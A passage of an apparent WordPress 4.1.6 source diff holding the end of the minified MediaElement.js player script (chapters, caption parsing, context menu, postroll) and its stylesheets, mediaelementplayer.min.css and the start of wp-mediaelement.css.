a,b=this;for(a=0;a<b.tracks.length;a++)if("chapters"==b.tracks[a].kind&&b.tracks[a].isLoaded){b.drawChapters(b.tracks[a]),b.hasChapters=!0;break}},drawChapters:function(b){var c,d,e=this,f=0,g=0;for(e.chapters.empty(),c=0;c<b.entries.times.length;c++)d=b.entries.times[c].stop-b.entries.times[c].start,f=Math.floor(d/e.media.duration*100),(f+g>100||c==b.entries.times.length-1&&100>f+g)&&(f=100-g),e.chapters.append(a('<div class="mejs-chapter" rel="'+b.entries.times[c].start+'" style="left: '+g.toString()+"%;width: "+f.toString()+'%;"><div class="mejs-chapter-block'+(c==b.entries.times.length-1?" mejs-chapter-block-last":"")+'"><span class="ch-title">'+b.entries.text[c]+'</span><span class="ch-time">'+mejs.Utility.secondsToTimeCode(b.entries.times[c].start)+"&ndash;"+mejs.Utility.secondsToTimeCode(b.entries.times[c].stop)+"</span></div></div>")),g+=f;e.chapters.find("div.mejs-chapter").click(function(){e.media.setCurrentTime(parseFloat(a(this).attr("rel"))),e.media.paused&&e.media.play()}),e.chapters.show()}}),mejs.language={codes:{af:"Afrikaans",sq:"Albanian",ar:"Arabic",be:"Belarusian",bg:"Bulgarian",ca:"Catalan",zh:"Chinese","zh-cn":"Chinese Simplified","zh-tw":"Chinese Traditional",hr:"Croatian",cs:"Czech",da:"Danish",nl:"Dutch",en:"English",et:"Estonian",fl:"Filipino",fi:"Finnish",fr:"French",gl:"Galician",de:"German",el:"Greek",ht:"Haitian Creole",iw:"Hebrew",hi:"Hindi",hu:"Hungarian",is:"Icelandic",id:"Indonesian",ga:"Irish",it:"Italian",ja:"Japanese",ko:"Korean",lv:"Latvian",lt:"Lithuanian",mk:"Macedonian",ms:"Malay",mt:"Maltese",no:"Norwegian",fa:"Persian",pl:"Polish",pt:"Portuguese",ro:"Romanian",ru:"Russian",sr:"Serbian",sk:"Slovak",sl:"Slovenian",es:"Spanish",sw:"Swahili",sv:"Swedish",tl:"Tagalog",th:"Thai",tr:"Turkish",uk:"Ukrainian",vi:"Vietnamese",cy:"Welsh",yi:"Yiddish"}},mejs.TrackFormatParser={webvtt:{pattern_timecode:/^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\> ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/,parse:function(b){for(var c,d,e,f=0,g=mejs.TrackFormatParser.split2(b,/\r?\n/),h={text:[],times:[]};f<g.length;f++){if(c=this.pattern_timecode.exec(g[f]),c&&f<g.length){for(f-1>=0&&""!==g[f-1]&&(e=g[f-1]),f++,d=g[f],f++;""!==g[f]&&f<g.length;)d=d+"\n"+g[f],f++;d=a.trim(d).replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),h.text.push(d),h.times.push({identifier:e,start:0===mejs.Utility.convertSMPTEtoSeconds(c[1])?.2:mejs.Utility.convertSMPTEtoSeconds(c[1]),stop:mejs.Utility.convertSMPTEtoSeconds(c[3]),settings:c[5]})}e=""}return h}},dfxp:{parse:function(b){b=a(b).filter("tt");var c,d,e=0,f=b.children("div").eq(0),g=f.find("p"),h=b.find("#"+f.attr("style")),i={text:[],times:[]};if(h.length){var j=h.removeAttr("id").get(0).attributes;if(j.length)for(c={},e=0;e<j.length;e++)c[j[e].name.split(":")[1]]=j[e].value}for(e=0;e<g.length;e++){var k,l={start:null,stop:null,style:null};if(g.eq(e).attr("begin")&&(l.start=mejs.Utility.convertSMPTEtoSeconds(g.eq(e).attr("begin"))),!l.start&&g.eq(e-1).attr("end")&&(l.start=mejs.Utility.convertSMPTEtoSeconds(g.eq(e-1).attr("end"))),g.eq(e).attr("end")&&(l.stop=mejs.Utility.convertSMPTEtoSeconds(g.eq(e).attr("end"))),!l.stop&&g.eq(e+1).attr("begin")&&(l.stop=mejs.Utility.convertSMPTEtoSeconds(g.eq(e+1).attr("begin"))),c){k="";for(var m in c)k+=m+":"+c[m]+";"}k&&(l.style=k),0===l.start&&(l.start=.2),i.times.push(l),d=a.trim(g.eq(e).html()).replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),i.text.push(d),0===i.times.start&&(i.times.start=2)}return i}},split2:function(a,b){return a.split(b)}},3!="x\n\ny".split(/\n/gi).length&&(mejs.TrackFormatParser.split2=function(a,b){var c,d=[],e="";for(c=0;c<a.length;c++)e+=a.substring(c,c+1),b.test(e)&&(d.push(e.replace(b,"")),e="");return d.push(e),d})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{contextMenuItems:[{render:function(a){return"undefined"==typeof a.enterFullScreen?null:mejs.i18n.t(a.isFullScreen?"Turn off Fullscreen":"Go Fullscreen")},click:function(a){a.isFullScreen?a.exitFullScreen():a.enterFullScreen()}},{render:function(a){return mejs.i18n.t(a.media.muted?"Unmute":"Mute")},click:function(a){a.setMuted(a.media.muted?!1:!0)}},{isSeparator:!0},{render:function(){return mejs.i18n.t("Download Video")},click:function(a){window.location.href=a.media.currentSrc}}]}),a.extend(MediaElementPlayer.prototype,{buildcontextmenu:function(b){b.contextMenu=a('<div class="mejs-contextmenu"></div>').appendTo(a("body")).hide(),b.container.bind("contextmenu",function(a){return b.isContextMenuEnabled?(a.preventDefault(),b.renderContextMenu(a.clientX-1,a.clientY-1),!1):void 0}),b.container.bind("click",function(){b.contextMenu.hide()}),b.contextMenu.bind("mouseleave",function(){b.startContextMenuTimer()})},cleancontextmenu:function(a){a.contextMenu.remove()},isContextMenuEnabled:!0,enableContextMenu:function(){this.isContextMenuEnabled=!0},disableContextMenu:function(){this.isContextMenuEnabled=!1},contextMenuTimeout:null,startContextMenuTimer:function(){var a=this;a.killContextMenuTimer(),a.contextMenuTimer=setTimeout(function(){a.hideContextMenu(),a.killContextMenuTimer()},750)},killContextMenuTimer:function(){var a=this.contextMenuTimer;null!=a&&(clearTimeout(a),delete a,a=null)},hideContextMenu:function(){this.contextMenu.hide()},renderContextMenu:function(b,c){for(var d=this,e="",f=d.options.contextMenuItems,g=0,h=f.length;h>g;g++)if(f[g].isSeparator)e+='<div class="mejs-contextmenu-separator"></div>';else{var i=f[g].render(d);null!=i&&(e+='<div class="mejs-contextmenu-item" data-itemindex="'+g+'" id="element-'+1e6*Math.random()+'">'+i+"</div>")}d.contextMenu.empty().append(a(e)).css({top:c,left:b}).show(),d.contextMenu.find(".mejs-contextmenu-item").each(function(){var b=a(this),c=parseInt(b.data("itemindex"),10),e=d.options.contextMenuItems[c];"undefined"!=typeof e.show&&e.show(b,d),b.click(function(){"undefined"!=typeof e.click&&e.click(d),d.contextMenu.hide()})}),setTimeout(function(){d.killControlsTimer("rev3")},100)}})}(mejs.$),function(a){a.extend(mejs.MepDefaults,{postrollCloseText:mejs.i18n.t("Close")}),a.extend(MediaElementPlayer.prototype,{buildpostroll:function(b,c,d){var e=this,f=e.container.find('link[rel="postroll"]').attr("href");"undefined"!=typeof f&&(b.postroll=a('<div class="mejs-postroll-layer mejs-layer"><a class="mejs-postroll-close" onclick="$(this).parent().hide();return false;">'+e.options.postrollCloseText+'</a><div class="mejs-postroll-layer-content"></div></div>').prependTo(d).hide(),e.media.addEventListener("ended",function(){a.ajax({dataType:"html",url:f,success:function(a){d.find(".mejs-postroll-layer-content").html(a)}}),b.postroll.show()},!1))}})}(mejs.$);
Index: /tags/4.1.6/src/wp-includes/js/mediaelement/mediaelementplayer.min.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mediaelement/mediaelementplayer.min.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mediaelement/mediaelementplayer.min.css	(revision 33402)
@@ -0,0 +1,1 @@
+.mejs-offscreen{position:absolute!important;top:-10000px;overflow:hidden;width:1px;height:1px}.mejs-container{position:relative;background:#000;font-family:Helvetica,Arial;text-align:left;vertical-align:top;text-indent:0}.me-plugin{position:absolute;height:auto;width:auto}.mejs-embed,.mejs-embed body{width:100%;height:100%;margin:0;padding:0;background:#000;overflow:hidden}.mejs-fullscreen{overflow:hidden!important}.mejs-container-fullscreen{position:fixed;left:0;top:0;right:0;bottom:0;overflow:hidden;z-index:1000}.mejs-container-fullscreen .mejs-mediaelement,.mejs-container-fullscreen video{width:100%;height:100%}.mejs-clear{clear:both}.mejs-background{position:absolute;top:0;left:0}.mejs-mediaelement{position:absolute;top:0;left:0;width:100%;height:100%}.mejs-poster{position:absolute;top:0;left:0;background-size:contain;background-position:50% 50%;background-repeat:no-repeat}:root .mejs-poster img{display:none}.mejs-poster img{border:0;padding:0;border:0}.mejs-overlay{position:absolute;top:0;left:0}.mejs-overlay-play{cursor:pointer}.mejs-overlay-button{position:absolute;top:50%;left:50%;width:100px;height:100px;margin:-50px 0 0 -50px;background:url(bigplay.svg) no-repeat}.no-svg .mejs-overlay-button{background-image:url(bigplay.png)}.mejs-overlay:hover .mejs-overlay-button{background-position:0 -100px}.mejs-overlay-loading{position:absolute;top:50%;left:50%;width:80px;height:80px;margin:-40px 0 0 -40px;background:#333;background:url(background.png);background:rgba(0,0,0,.9);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(50,50,50,.9)),to(rgba(0,0,0,.9)));background:-webkit-linear-gradient(top,rgba(50,50,50,.9),rgba(0,0,0,.9));background:-moz-linear-gradient(top,rgba(50,50,50,.9),rgba(0,0,0,.9));background:-o-linear-gradient(top,rgba(50,50,50,.9),rgba(0,0,0,.9));background:-ms-linear-gradient(top,rgba(50,50,50,.9),rgba(0,0,0,.9));background:linear-gradient(rgba(50,50,50,.9),rgba(0,0,0,.9))}.mejs-overlay-loading span{display:block;width:80px;height:80px;background:transparent url(loading.gif) 50% 50% no-repeat}.mejs-container .mejs-controls{position:absolute;list-style-type:none;margin:0;padding:0;bottom:0;left:0;background:url(background.png);background:rgba(0,0,0,.7);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(50,50,50,.7)),to(rgba(0,0,0,.7)));background:-webkit-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:-moz-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:-o-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:-ms-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:linear-gradient(rgba(50,50,50,.7),rgba(0,0,0,.7));height:30px;width:100%}.mejs-container .mejs-controls div{list-style-type:none;background-image:none;display:block;float:left;margin:0;padding:0;width:26px;height:26px;font-size:11px;line-height:11px;font-family:Helvetica,Arial;border:0}.mejs-controls .mejs-button button{cursor:pointer;display:block;font-size:0;line-height:0;text-decoration:none;margin:7px 5px;padding:0;position:absolute;height:16px;width:16px;border:0;background:transparent url(controls.svg) no-repeat}.no-svg .mejs-controls .mejs-button button{background-image:url(controls.png)}.mejs-controls .mejs-button button:focus{outline:dotted 1px #999}.mejs-container .mejs-controls .mejs-time{color:#fff;display:block;height:17px;width:auto;padding:8px 3px 0;overflow:hidden;text-align:center;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}.mejs-container .mejs-controls .mejs-time a{color:#fff;font-size:11px;line-height:12px;display:block;float:left;margin:1px 2px 0 0;width:auto}.mejs-controls .mejs-play button{background-position:0 0}.mejs-controls .mejs-pause button{background-position:0 -16px}.mejs-controls .mejs-stop button{background-position:-112px 0}.mejs-controls div.mejs-time-rail{direction:ltr;width:200px;padding-top:5px}.mejs-controls .mejs-time-rail span,.mejs-controls .mejs-time-rail a{display:block;position:absolute;width:180px;height:10px;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;cursor:pointer}.mejs-controls .mejs-time-rail .mejs-time-total{margin:5px;background:#333;background:rgba(50,50,50,.8);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(30,30,30,.8)),to(rgba(60,60,60,.8)));background:-webkit-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:-moz-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:-o-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:-ms-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:linear-gradient(rgba(30,30,30,.8),rgba(60,60,60,.8))}.mejs-controls .mejs-time-rail .mejs-time-buffering{width:100%;background-image:-o-linear-gradient(-45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:15px 15px;-moz-background-size:15px 15px;-o-background-size:15px 15px;background-size:15px 15px;-webkit-animation:buffering-stripes 2s linear infinite;-moz-animation:buffering-stripes 2s linear infinite;-ms-animation:buffering-stripes 2s linear infinite;-o-animation:buffering-stripes 2s linear infinite;animation:buffering-stripes 2s linear infinite}@-webkit-keyframes buffering-stripes{from{background-position:0 0}to{background-position:30px 0}}@-moz-keyframes buffering-stripes{from{background-position:0 0}to{background-position:30px 0}}@-ms-keyframes buffering-stripes{from{background-position:0 0}to{background-position:30px 0}}@-o-keyframes buffering-stripes{from{background-position:0 0}to{background-position:30px 0}}@keyframes buffering-stripes{from{background-position:0 0}to{background-position:30px 0}}.mejs-controls .mejs-time-rail .mejs-time-loaded{background:#3caac8;background:rgba(60,170,200,.8);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(44,124,145,.8)),to(rgba(78,183,212,.8)));background:-webkit-linear-gradient(top,rgba(44,124,145,.8),rgba(78,183,212,.8));background:-moz-linear-gradient(top,rgba(44,124,145,.8),rgba(78,183,212,.8));background:-o-linear-gradient(top,rgba(44,124,145,.8),rgba(78,183,212,.8));background:-ms-linear-gradient(top,rgba(44,124,145,.8),rgba(78,183,212,.8));background:linear-gradient(rgba(44,124,145,.8),rgba(78,183,212,.8));width:0}.mejs-controls .mejs-time-rail .mejs-time-current{background:#fff;background:rgba(255,255,255,.8);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(255,255,255,.9)),to(rgba(200,200,200,.8)));background:-webkit-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:-moz-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:-o-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:-ms-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:linear-gradient(rgba(255,255,255,.9),rgba(200,200,200,.8));width:0}.mejs-controls .mejs-time-rail .mejs-time-handle{display:none;position:absolute;margin:0;width:10px;background:#fff;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;cursor:pointer;border:solid 2px #333;top:-2px;text-align:center}.mejs-controls .mejs-time-rail .mejs-time-float{position:absolute;display:none;background:#eee;width:36px;height:17px;border:solid 1px #333;top:-26px;margin-left:-18px;text-align:center;color:#111}.mejs-controls .mejs-time-rail .mejs-time-float-current{margin:2px;width:30px;display:block;text-align:center;left:0}.mejs-controls .mejs-time-rail .mejs-time-float-corner{position:absolute;display:block;width:0;height:0;line-height:0;border:solid 5px #eee;border-color:#eee transparent transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;top:15px;left:13px}.mejs-long-video .mejs-controls .mejs-time-rail .mejs-time-float{width:48px}.mejs-long-video .mejs-controls .mejs-time-rail .mejs-time-float-current{width:44px}.mejs-long-video .mejs-controls .mejs-time-rail .mejs-time-float-corner{left:18px}.mejs-controls .mejs-fullscreen-button button{background-position:-32px 0}.mejs-controls .mejs-unfullscreen button{background-position:-32px -16px}.mejs-controls .mejs-volume-button{}.mejs-controls .mejs-mute button{background-position:-16px -16px}.mejs-controls .mejs-unmute button{background-position:-16px 0}.mejs-controls .mejs-volume-button{position:relative}.mejs-controls .mejs-volume-button .mejs-volume-slider{display:none;height:115px;width:25px;background:url(background.png);background:rgba(50,50,50,.7);-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;top:-115px;left:0;z-index:1;position:absolute;margin:0}.mejs-controls .mejs-volume-button:hover{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.mejs-controls .mejs-volume-button .mejs-volume-slider .mejs-volume-total{position:absolute;left:11px;top:8px;width:2px;height:100px;background:#ddd;background:rgba(255,255,255,.5);margin:0}.mejs-controls .mejs-volume-button .mejs-volume-slider .mejs-volume-current{position:absolute;left:11px;top:8px;width:2px;height:100px;background:#ddd;background:rgba(255,255,255,.9);margin:0}.mejs-controls .mejs-volume-button .mejs-volume-slider .mejs-volume-handle{position:absolute;left:4px;top:-3px;width:16px;height:6px;background:#ddd;background:rgba(255,255,255,.9);cursor:N-resize;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;margin:0}.mejs-controls a.mejs-horizontal-volume-slider{height:26px;width:60px;position:relative;display:table-cell;vertical-align:middle}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total{position:absolute;left:0;top:11px;width:50px;height:8px;margin:0;padding:0;font-size:1px;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background:#333;background:rgba(50,50,50,.8);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(30,30,30,.8)),to(rgba(60,60,60,.8)));background:-webkit-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:-moz-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:-o-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:-ms-linear-gradient(top,rgba(30,30,30,.8),rgba(60,60,60,.8));background:linear-gradient(rgba(30,30,30,.8),rgba(60,60,60,.8))}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current{position:absolute;left:0;top:11px;width:50px;height:8px;margin:0;padding:0;font-size:1px;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background:#fff;background:rgba(255,255,255,.8);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(255,255,255,.9)),to(rgba(200,200,200,.8)));background:-webkit-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:-moz-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:-o-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:-ms-linear-gradient(top,rgba(255,255,255,.9),rgba(200,200,200,.8));background:linear-gradient(rgba(255,255,255,.9),rgba(200,200,200,.8))}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-handle{display:none}.mejs-controls .mejs-captions-button{position:relative}.mejs-controls .mejs-captions-button button{background-position:-48px 0}.mejs-controls .mejs-captions-button .mejs-captions-selector{visibility:hidden;position:absolute;bottom:26px;right:-51px;width:85px;height:100px;background:url(background.png);background:rgba(50,50,50,.7);border:solid 1px transparent;padding:10px 10px 0;overflow:hidden;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.mejs-controls .mejs-captions-button .mejs-captions-selector ul{margin:0;padding:0;display:block;list-style-type:none!important;overflow:hidden}.mejs-controls .mejs-captions-button .mejs-captions-selector ul li{margin:0 0 6px;padding:0;list-style-type:none!important;display:block;color:#fff;overflow:hidden}.mejs-controls .mejs-captions-button .mejs-captions-selector ul li input{clear:both;float:left;margin:3px 3px 0 5px}.mejs-controls .mejs-captions-button .mejs-captions-selector ul li label{width:55px;float:left;padding:4px 0 0;line-height:15px;font-family:helvetica,arial;font-size:10px}.mejs-controls .mejs-captions-button .mejs-captions-translations{font-size:10px;margin:0 0 5px}.mejs-chapters{position:absolute;top:0;left:0;-xborder-right:solid 1px #fff;width:10000px;z-index:1}.mejs-chapters .mejs-chapter{position:absolute;float:left;background:#222;background:rgba(0,0,0,.7);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(50,50,50,.7)),to(rgba(0,0,0,.7)));background:-webkit-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:-moz-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:-o-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:-ms-linear-gradient(top,rgba(50,50,50,.7),rgba(0,0,0,.7));background:linear-gradient(rgba(50,50,50,.7),rgba(0,0,0,.7));filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, startColorstr=#323232, endColorstr=#000000);overflow:hidden;border:0}.mejs-chapters .mejs-chapter .mejs-chapter-block{font-size:11px;color:#fff;padding:5px;display:block;border-right:solid 1px #333;border-bottom:solid 1px #333;cursor:pointer}.mejs-chapters .mejs-chapter .mejs-chapter-block-last{border-right:0}.mejs-chapters .mejs-chapter .mejs-chapter-block:hover{background:#666;background:rgba(102,102,102,.7);background:-webkit-gradient(linear,0 0,0 100%,from(rgba(102,102,102,.7)),to(rgba(50,50,50,.6)));background:-webkit-linear-gradient(top,rgba(102,102,102,.7),rgba(50,50,50,.6));background:-moz-linear-gradient(top,rgba(102,102,102,.7),rgba(50,50,50,.6));background:-o-linear-gradient(top,rgba(102,102,102,.7),rgba(50,50,50,.6));background:-ms-linear-gradient(top,rgba(102,102,102,.7),rgba(50,50,50,.6));background:linear-gradient(rgba(102,102,102,.7),rgba(50,50,50,.6));filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, startColorstr=#666666, endColorstr=#323232)}.mejs-chapters .mejs-chapter .mejs-chapter-block .ch-title{font-size:12px;font-weight:700;display:block;white-space:nowrap;text-overflow:ellipsis;margin:0 0 3px;line-height:12px}.mejs-chapters .mejs-chapter .mejs-chapter-block .ch-timespan{font-size:12px;line-height:12px;margin:3px 0 4px;display:block;white-space:nowrap;text-overflow:ellipsis}.mejs-captions-layer{position:absolute;bottom:0;left:0;text-align:center;line-height:20px;font-size:16px;color:#fff}.mejs-captions-layer a{color:#fff;text-decoration:underline}.mejs-captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs-captions-position{position:absolute;width:100%;bottom:15px;left:0}.mejs-captions-position-hover{bottom:35px}.mejs-captions-text{padding:3px 5px;background:url(background.png);background:rgba(20,20,20,.5);white-space:pre-wrap}.me-cannotplay{}.me-cannotplay a{color:#fff;font-weight:700}.me-cannotplay span{padding:15px;display:block}.mejs-controls .mejs-loop-off button{background-position:-64px -16px}.mejs-controls .mejs-loop-on button{background-position:-64px 0}.mejs-controls .mejs-backlight-off button{background-position:-80px -16px}.mejs-controls .mejs-backlight-on button{background-position:-80px 0}.mejs-controls .mejs-picturecontrols-button{background-position:-96px 0}.mejs-contextmenu{position:absolute;width:150px;padding:10px;border-radius:4px;top:0;left:0;background:#fff;border:solid 1px #999;z-index:1001}.mejs-contextmenu .mejs-contextmenu-separator{height:1px;font-size:0;margin:5px 6px;background:#333}.mejs-contextmenu .mejs-contextmenu-item{font-family:Helvetica,Arial;font-size:12px;padding:4px 6px;cursor:pointer;color:#333}.mejs-contextmenu .mejs-contextmenu-item:hover{background:#2C7C91;color:#fff}.mejs-controls .mejs-sourcechooser-button{position:relative}.mejs-controls .mejs-sourcechooser-button button{background-position:-128px 0}.mejs-controls .mejs-sourcechooser-button .mejs-sourcechooser-selector{visibility:hidden;position:absolute;bottom:26px;right:-10px;width:130px;height:100px;background:url(background.png);background:rgba(50,50,50,.7);border:solid 1px transparent;padding:10px;overflow:hidden;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.mejs-controls .mejs-sourcechooser-button .mejs-sourcechooser-selector ul{margin:0;padding:0;display:block;list-style-type:none!important;overflow:hidden}.mejs-controls .mejs-sourcechooser-button .mejs-sourcechooser-selector ul li{margin:0 0 6px;padding:0;list-style-type:none!important;display:block;color:#fff;overflow:hidden}.mejs-controls .mejs-sourcechooser-button .mejs-sourcechooser-selector ul li input{clear:both;float:left;margin:3px 3px 0 5px}.mejs-controls .mejs-sourcechooser-button .mejs-sourcechooser-selector ul li label{width:100px;float:left;padding:4px 0 0;line-height:15px;font-family:helvetica,arial;font-size:10px}.mejs-postroll-layer{position:absolute;bottom:0;left:0;width:100%;height:100%;background:url(background.png);background:rgba(50,50,50,.7);z-index:1000;overflow:hidden}.mejs-postroll-layer-content{width:100%;height:100%}.mejs-postroll-close{position:absolute;right:0;top:0;background:url(background.png);background:rgba(50,50,50,.7);color:#fff;padding:4px;z-index:100;cursor:pointer}div.mejs-speed-button{width:46px!important;position:relative}.mejs-controls .mejs-button.mejs-speed-button button{background:transparent;width:36px;font-size:11px;line-height:normal;color:#fff}.mejs-controls .mejs-speed-button .mejs-speed-selector{visibility:hidden;position:absolute;top:-100px;left:-10px;width:60px;height:100px;background:url(background.png);background:rgba(50,50,50,.7);border:solid 1px transparent;padding:0;overflow:hidden;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.mejs-controls .mejs-speed-button:hover>.mejs-speed-selector{visibility:visible}.mejs-controls .mejs-speed-button .mejs-speed-selector ul li label.mejs-speed-selected{color:rgba(33,248,248,1)}.mejs-controls .mejs-speed-button .mejs-speed-selector ul{margin:0;padding:0;display:block;list-style-type:none!important;overflow:hidden}.mejs-controls .mejs-speed-button .mejs-speed-selector ul li{margin:0 0 6px;padding:0 10px;list-style-type:none!important;display:block;color:#fff;overflow:hidden}.mejs-controls .mejs-speed-button .mejs-speed-selector ul li input{clear:both;float:left;margin:3px 3px 0 5px;display:none}.mejs-controls .mejs-speed-button .mejs-speed-selector ul li label{width:60px;float:left;padding:4px 0 0;line-height:15px;font-family:helvetica,arial;font-size:11.5px;color:#fff;margin-left:5px;cursor:pointer}.mejs-controls .mejs-speed-button .mejs-speed-selector ul li:hover{background-color:#c8c8c8!important;background-color:rgba(255,255,255,.4)!important}.mejs-controls .mejs-button.mejs-skip-back-button{background:transparent url(skipback.png) no-repeat;background-position:3px 3px}.mejs-controls .mejs-button.mejs-skip-back-button button{background:transparent;font-size:9px;line-height:normal;color:#fff}
Index: /tags/4.1.6/src/wp-includes/js/mediaelement/wp-mediaelement.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mediaelement/wp-mediaelement.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mediaelement/wp-mediaelement.css	(revision 33402)
@@ -0,0 +1,307 @@
+.mejs-container {
+	clear: both;
+}
+
+.mejs-container * {
+	font-family: Helvetica, Arial;
+}
+
+.mejs-container,
+.mejs-embed,
+.mejs-embed body,
+.mejs-container .mejs-controls {
+	background: #222;
+}
+
+.mejs-controls a.mejs-horizontal-volume-slider {
+	display: table;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-loaded,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #0074a2;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: rgba(255, 255, 255, .33);
+}
+
+.mejs-controls .mejs-time-rail span,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+.mejs-controls .mejs-offscreen {
+	clip: rect(1px, 1px, 1px, 1px);
+	position: absolute;
+}
+
+.mejs-controls a:focus > .mejs-offscreen {
+	background-color: #f1f1f1;
+	border-radius: 3px;
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	clip: auto;
+	color: #21759b;
+	display: block;
+	font-size: 14px;
+	font-weight: bold;
+	height: auto;
+	line-height: normal;
+	padding: 15px 23px 14px;
+	position: absolute;
+	left: 0;
+	top: 15px;
+	text-decoration: none;
+	text-transform: none;
+	width: auto;
+}
+
+.mejs-overlay-loading {
+	background: transparent;
+}
+
+/* Override theme styles that may conflict with controls. */
+.mejs-controls button:hover {
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.me-cannotplay {
+	width: auto !important;
+}
+
+.media-embed-details .wp-audio-shortcode {
+	display: inline-block;
+	max-width: 400px;
+}
+
+.audio-details .embed-media-settings {
+	overflow: visible;
+}
+
+.media-embed-details .embed-media-settings .setting span {
+	max-width: 400px;
+	width: auto;
+}
+
+.media-embed-details .embed-media-settings .checkbox-setting span {
+	display: inline-block;
+}
+
+.media-embed-details .embed-media-settings {
+	padding-top: 0;
+	top: 28px;
+}
+
+.media-embed-details .instructions {
+	padding: 16px 0;
+	max-width: 600px;
+}
+
+.media-embed-details .setting p,
+.media-embed-details .setting a {
+	color: #a00;
+	font-size: 10px;
+	text-transform: uppercase;
+}
+
+.media-embed-details .setting a:hover {
+	color: #f00;
+}
+
+.media-embed-details .embed-media-settings .checkbox-setting {
+	float: none;
